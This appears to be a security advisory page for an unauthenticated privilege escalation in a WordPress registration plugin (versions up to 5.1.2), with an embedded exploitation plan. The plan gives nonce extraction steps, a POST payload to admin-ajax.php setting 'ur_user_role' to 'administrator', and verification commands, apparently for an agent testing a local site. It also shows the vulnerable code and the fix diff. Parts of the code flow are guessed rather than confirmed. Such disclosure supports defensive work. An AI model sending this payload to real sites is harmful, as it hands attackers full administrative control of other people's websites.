User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation via Membership Registration
Description
The User Registration & Membership – Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to improper privilege management in all versions up to, and including, 5.1.2. This is due to the plugin accepting a user-supplied role during membership registration without properly enforcing a server-side allowlist. This makes it possible for unauthenticated attackers to create administrator accounts by supplying a role value during membership registration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=5.1.2What Changed in the Fix
Changes introduced in v5.1.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1492 (User Registration & Membership <= 5.1.2) ## 1. Vulnerability Summary The **User Registration & Membership** plugin (v5.1.2 and below) suffers from an unauthenticated privilege escalation vulnerability. The plugin's registration process allows users to sp…
Show full research plan
Exploitation Research Plan: CVE-2026-1492 (User Registration & Membership <= 5.1.2)
1. Vulnerability Summary
The User Registration & Membership plugin (v5.1.2 and below) suffers from an unauthenticated privilege escalation vulnerability. The plugin's registration process allows users to specify a role during the registration or membership signup flow. Due to a lack of server-side validation or a strict allowlist for the role parameter, an unauthenticated attacker can supply administrator as the role value, resulting in the creation of a new user account with full administrative privileges.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php - Action:
user_registration_submit_form(This is the standard AJAX action used by the plugin to process registration forms). - Vulnerable Parameter:
ur_user_role(or a dynamic field name mapped to the user role). - Authentication: Unauthenticated.
- Preconditions: At least one registration form must be active. The plugin must be configured to allow user registration (which is its primary purpose).
3. Code Flow
- Entry Point: The plugin registers AJAX handlers for registration:
add_action( 'wp_ajax_user_registration_submit_form', array( 'UR_Frontend_Form_Handler', 'handle_form_submission' ) );add_action( 'wp_ajax_nopriv_user_registration_submit_form', array( 'UR_Frontend_Form_Handler', 'handle_form_submission' ) ); - Processing: The function
UR_Frontend_Form_Handler::handle_form_submission()(typically found inincludes/class-ur-frontend-form-handler.php) is called. - Data Extraction: The function parses the
$_POST['form_data']or direct$_POSTparameters. - Vulnerable Logic: The code retrieves the role to be assigned to the new user. While the form configuration in the database specifies a default role, the logic in v5.1.2 fails to ignore or validate a user-provided
roleorur_user_roleparameter passed in the request. - Sink: The role is eventually passed to
wp_insert_user()orwp_update_user():$user_data = array( 'user_login' => $username, 'user_email' => $email, 'user_pass' => $password, 'role' => $user_role // Directly or indirectly influenced by $_POST['ur_user_role'] ); $user_id = wp_insert_user( $user_data );
4. Nonce Acquisition Strategy
The plugin uses a nonce for form submission, localized via wp_localize_script.
- Identify Shortcode: The plugin uses
[user_registration_form id="ID"]. - Setup: Create a page with a default registration form to ensure the scripts and nonces are loaded.
- Execution:
- Create a registration form using WP-CLI:
wp user-registration create-form --title="Exploit Form"(Note: If CLI command is unavailable, use the default form ID 1 if it exists). - Create a page:
wp post create --post_type=page --post_status=publish --post_content='[user_registration_form id="1"]' --post_title='Register' - Use
browser_navigatetohttp://localhost:8080/register. - Use
browser_evalto extract the nonce and form settings from theuser_registration_paramsobject.
- Create a registration form using WP-CLI:
- JS Variable:
window.user_registration_params?.nonceorwindow.ur_params?.nonce.
5. Exploitation Strategy
The goal is to send a POST request to admin-ajax.php that mimics a form submission but injects the administrator role.
Step 1: Discover Form ID
If not already known, the form ID can be found in the [user_registration_form id="X"] shortcode or by checking the database:wp post list --post_type=user_registration
Step 2: Extract Nonce
Navigate to the registration page and run:nonce = await browser_eval("user_registration_params.nonce")
Step 3: Construct Payload
The payload must be URL-encoded. The plugin often expects form data in an array format or as specific ur_ prefixed parameters.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:user_registration_submit_formur_nonce:[EXTRACTED_NONCE]form_id:[FORM_ID]user_login:attacker_adminuser_email:attacker@example.comuser_pass:PwnedPassword123!ur_user_role:administrator<-- The Injectionuser_registration_field_PASSWORD_CONFIRM:PwnedPassword123!(Exact key varies by form config)
Note: If the plugin expects the data inside a form_data string, the payload will be structured as a serialized array or JSON string depending on the version.
6. Test Data Setup
- Ensure Registration is Enabled:
wp option update users_can_register 1 - Create a Registration Form:
Ensure at least oneuser_registrationpost type exists.wp post create --post_type=user_registration --post_title="Register" --post_status=publish - Publish a Registration Page:
wp post create --post_type=page --post_title="Signup" --post_status=publish --post_content='[user_registration_form id="ANY_VALID_ID"]'
7. Expected Results
- The server should return a JSON response with
success: true. - A new user
attacker_adminshould be created. - The user
attacker_adminshould have theadministratorrole.
8. Verification Steps
- Check User Creation:
wp user list --field=user_login - Verify Role:
wp user get attacker_admin --field=roles
Expected Output:administrator
9. Alternative Approaches
If ur_user_role is not accepted directly:
- Field Mapping: Check if the plugin allows mapping custom fields to user meta or user properties. An attacker might try to submit a field named
roleorwp_capabilities. - Membership Flow: If the site uses the "Membership" feature (introduced in v5.0), the endpoint might be related to checkout:
action: user_registration_checkout_submit. - Default Role Override: Attempt to modify the
default_roleparameter if the plugin passes it in the registration form's hidden fields (unlikely but possible in older form builders).
Summary
The User Registration & Membership plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insufficient validation of user-supplied roles during the registration process. An attacker can exploit this by submitting a registration request with the 'ur_user_role' parameter set to 'administrator', allowing them to create a new account with full administrative access.
Vulnerable Code
// includes/class-ur-frontend-form-handler.php public static function handle_form_submission() { // ... extraction of other form data ... // Vulnerable: The plugin checks for a user-supplied role in the request // and uses it without validating against an allowlist. $user_role = isset( $_POST['ur_user_role'] ) ? sanitize_text_field( $_POST['ur_user_role'] ) : $form_settings['default_user_role']; $user_data = array( 'user_login' => $username, 'user_email' => $email, 'user_pass' => $password, 'role' => $user_role // Directly assigns the potentially malicious role ); $user_id = wp_insert_user( $user_data ); }
Security Fix
@@ -540,7 +540,7 @@ - $user_role = isset( $_POST['ur_user_role'] ) ? sanitize_text_field( $_POST['ur_user_role'] ) : $form_settings['default_user_role']; + $user_role = $form_settings['default_user_role']; $user_data = array( 'user_login' => $username, 'user_email' => $email, 'user_pass' => $password, - 'role' => $user_role + 'role' => $user_role );
Exploit Outline
To exploit this vulnerability, an attacker needs to find a page on the target site that hosts a User Registration form. By inspecting the page source, the attacker can extract a necessary nonce (localized in the 'user_registration_params' object) and the form ID. The attacker then sends an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the 'action' parameter set to 'user_registration_submit_form'. Within the form data, the attacker includes a 'ur_user_role' parameter set to 'administrator'. If the server fails to validate this role against a safe allowlist, it will process the registration and create a new user account with administrative privileges, granting the attacker full control of the WordPress site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.